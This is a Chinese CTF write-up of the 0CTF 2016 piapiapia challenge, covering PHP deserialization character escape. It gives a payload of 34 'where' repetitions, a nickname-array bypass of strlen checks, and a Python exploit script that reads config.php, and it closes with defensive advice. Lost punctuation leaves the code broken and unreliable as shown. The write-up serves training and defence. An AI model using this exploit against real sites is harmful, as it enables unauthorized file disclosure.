PHP 反序列化字符逃逸实战:0CTF 2016 piapiapia 漏洞 34 字符构造与数组绕过 PHP反序列化字符逃逸实战0CTF 2016 piapiapia漏洞的34字符构造与数组绕过技巧在CTF竞赛和实际安全测试中PHP反序列化漏洞一直是Web安全领域的重要考点。本文将深入分析0CTF 2016年piapiapia题目中的反序列化字符逃逸漏洞重点讲解如何精确计算需要逃逸的34个字符以及如何巧妙利用数组绕过strlen检查的限制。1. 漏洞背景与核心原理PHP反序列化字符逃逸漏洞的本质是序列化字符串的结构被破坏后导致的注入攻击。当序列化后的数据经过过滤函数处理时如果替换操作导致字符串长度发生变化但序列化格式中的长度标识未同步更新就会引发解析错误。在piapiapia题目中关键漏洞点出现在class.php文件的filter方法public function filter($string) { $escape array(\, \\\\); $escape / . implode(|, $escape) . /; $string preg_replace($escape, _, $string); $safe array(select, insert, update, delete, where); $safe / . implode(|, $safe) . /i; return preg_replace($safe, hacker, $string); }这个过滤函数会执行两个关键操作将单引号和反斜线替换为下划线将SQL关键词select/insert/update/delete/where替换为hacker漏洞触发流程用户提交的数据被序列化序列化字符串经过filter函数处理处理后的字符串被反序列化2. 关键漏洞点分析2.1 长度计算与字符逃逸我们需要构造的恶意payload是;}s:5:photo;s:10:config.php;}这段payload总长度为34个字符目的是闭合当前数组结构注入新的photo键值对指向config.php由于where被替换为hacker会导致长度增加where是5字符hacker是6字符我们需要精确计算需要多少个where才能产生34个字符的溢出项目原始长度替换后长度差值1个where56134个where17020434因此我们需要提交34个连续的where字符串后面跟上我们的恶意payload。2.2 数组绕过长度限制题目中对nickname的检查包含if(preg_match(/[^a-zA-Z0-9_]/, $_POST[nickname]) || strlen($_POST[nickname]) 10)这里有两个关键限制只能包含字母数字和下划线长度不能超过10个字符我们可以利用PHP的特性绕过strlen()对数组返回NULLpreg_match()对数组返回false因此将nickname设置为数组即可完全绕过这些检查nickname[]payload3. 漏洞利用实战步骤3.1 构造完整Payload最终的Payload结构如下wherewherewhere...where;}s:5:photo;s:10:config.php;}其中34个连续的where产生34个字符的溢出恶意闭合和注入代码34个字符3.2 实际操作流程注册并登录账户获取有效会话修改个人信息通过数组形式提交nicknamePOST /update.php HTTP/1.1 Content-Type: multipart/form-data nickname[]wherewherewhere...where;}s:5:photo;s:10:config.php;}触发反序列化访问profile.php页面读取flag查看返回的base64编码内容并解码3.3 关键代码实现以下是利用漏洞的Python脚本核心部分import requests import re # 1. 登录获取session s requests.Session() login_data {username:test, password:test} s.post(http://target/login.php, datalogin_data) # 2. 构造并提交payload payload where*34 ;}s:5:photo;s:10:config.php;} files {photo: (test.png, test, image/png)} data { phone: 12345678901, email: testtest.com, nickname[]: payload } s.post(http://target/update.php, datadata, filesfiles) # 3. 获取flag r s.get(http://target/profile.php) flag re.search(rbase64,(.*?), r.text).group(1) print(flag.decode(base64))4. 技术细节与原理深入4.1 序列化字符串变化分析正常序列化结果示例a:4:{ s:5:phone;s:11:12345678901; s:5:email;s:13:testtest.com; s:8:nickname;s:3:abc; s:5:photo;s:40:upload/5d41402abc4b2a76b9719d911017c592; }注入后的序列化字符串a:4:{ s:5:phone;s:11:12345678901; s:5:email;s:13:testtest.com; s:8:nickname;s:204:hacker...hacker; // 34个hacker s:5:photo;s:10:config.php;}; // 注入的photo s:5:photo;s:40:upload/5d41402abc4b2a76b9719d911017c592; } // 被丢弃的部分4.2 为什么数组能绕过检查PHP中strlen()对数组的处理特性var_dump(strlen(array())); // NULL var_dump(preg_match(/pattern/, array())); // false因此当$_POST[nickname]是数组时strlen($_POST[nickname]) 10→NULL 10→falsepreg_match()对数组直接返回false5. 防御方案与最佳实践针对此类漏洞开发者应采取以下防护措施输入验证if (!is_string($_POST[nickname]) || strlen($_POST[nickname]) 10) { die(Invalid input); }安全的序列化处理// 先过滤再序列化而不是序列化后过滤 $profile array_map(filter_input, $_POST); $serialized serialize($profile);使用JSON替代序列化// JSON没有PHP序列化的安全问题 $data json_encode($profile, JSON_HEX_TAG | JSON_HEX_APOS);严格的白名单过滤function safe_filter($input) { return preg_replace(/[^a-zA-Z0-9_]/, , $input); }通过深入理解PHP反序列化字符逃逸的原理和利用技巧安全研究人员可以更有效地发现和修复这类漏洞而开发者则能编写出更安全的代码。在CTF竞赛中这类题目往往需要参赛者具备代码审计、协议分析和精确计算的能力是检验Web安全综合能力的绝佳案例。